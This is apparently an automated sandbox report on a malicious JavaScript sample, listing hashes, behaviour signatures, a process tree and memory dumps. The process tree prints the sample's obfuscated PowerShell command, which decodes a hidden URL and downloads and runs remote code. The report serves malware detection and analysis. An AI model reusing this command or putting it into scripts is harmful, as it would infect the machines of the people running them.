Analysis

  • max time kernel
    94s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-12-2024 15:07

General

  • Target

    3278cc5c574c30d3da5de340cfa041ee2e688cf9a8d46c8f4718b8de6717ad43.js

  • Size

    216KB

  • MD5

    98e6f3a43315af9ccf41e56b10105d1d

  • SHA1

    2e4b2c4a99537e17e9d3c3ef773c44b84d3722c3

  • SHA256

    3278cc5c574c30d3da5de340cfa041ee2e688cf9a8d46c8f4718b8de6717ad43

  • SHA512

    fe9da8de68220d3480ff7793d93145d871ad61f72dbc1252fc772727063944f6835d646650fa5b4663c7c3d231e5644341128be0fd8794f296da1038fb2042d7

  • SSDEEP

    1536:nwjvkP++u4boUyU1iZi9AdW3z6j6P++u4boUyf1iZi9AdW3z6O41iZi9AdW3z63f:n9++e5jq++eUONf++eT++eV

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\3278cc5c574c30d3da5de340cfa041ee2e688cf9a8d46c8f4718b8de6717ad43.js
    1⤵
      PID:3412
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $beklos='ur' ;new-alias printout c$($beklos)l;$mxwfrle=(1705,1716,1724,1708,1710,1705,1725,1724,1729,1662,1724,1658,1705,1653,1723,1718,1719,1654,1656,1653,1719,1711,1719,1670,1722,1668,1716,1712,1717,1723,1722,1657,1656);$vjmarifpxzun=('bronx','get-cmdlet');$gncutqe=$mxwfrle;foreach($tfaojd in $gncutqe){$bxsdgrjezqci=$tfaojd;$bgdmkunwlizo=$bgdmkunwlizo+[char]($bxsdgrjezqci-1607);$ceqrypsvm=$bgdmkunwlizo; $bwajnvygtrxhsk=$ceqrypsvm};$zpsjgr[2]=$bwajnvygtrxhsk;$eifpgmwonyx='rl';$bomqlrwndvxe=1;.$([char](9992-9887)+'e'+'x')(printout -useb $bwajnvygtrxhsk)
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4860
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $beklos='ur' ;new-alias printout c$($beklos)l;$mxwfrle=(1705,1716,1724,1708,1710,1705,1725,1724,1729,1662,1724,1658,1705,1653,1723,1718,1719,1654,1656,1653,1719,1711,1719,1670,1722,1668,1716,1712,1717,1723,1722,1657,1656);$vjmarifpxzun=('bronx','get-cmdlet');$gncutqe=$mxwfrle;foreach($tfaojd in $gncutqe){$bxsdgrjezqci=$tfaojd;$bgdmkunwlizo=$bgdmkunwlizo+[char]($bxsdgrjezqci-1607);$ceqrypsvm=$bgdmkunwlizo; $bwajnvygtrxhsk=$ceqrypsvm};$zpsjgr[2]=$bwajnvygtrxhsk;$eifpgmwonyx='rl';$bomqlrwndvxe=1;.$([char](9992-9887)+'e'+'x')(printout -useb $bwajnvygtrxhsk)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:804

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uns3we1b.fco.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/804-0-0x00007FFA03A43000-0x00007FFA03A45000-memory.dmp

      Filesize

      8KB

    • memory/804-1-0x0000021DBF610000-0x0000021DBF632000-memory.dmp

      Filesize

      136KB

    • memory/804-11-0x00007FFA03A40000-0x00007FFA04501000-memory.dmp

      Filesize

      10.8MB

    • memory/804-12-0x00007FFA03A40000-0x00007FFA04501000-memory.dmp

      Filesize

      10.8MB

    • memory/804-13-0x00007FFA03A40000-0x00007FFA04501000-memory.dmp

      Filesize

      10.8MB

    • memory/804-14-0x00007FFA03A40000-0x00007FFA04501000-memory.dmp

      Filesize

      10.8MB

    • memory/804-15-0x00007FFA03A43000-0x00007FFA03A45000-memory.dmp

      Filesize

      8KB

    • memory/804-16-0x00007FFA03A40000-0x00007FFA04501000-memory.dmp

      Filesize

      10.8MB

    • memory/804-19-0x00007FFA03A40000-0x00007FFA04501000-memory.dmp

      Filesize

      10.8MB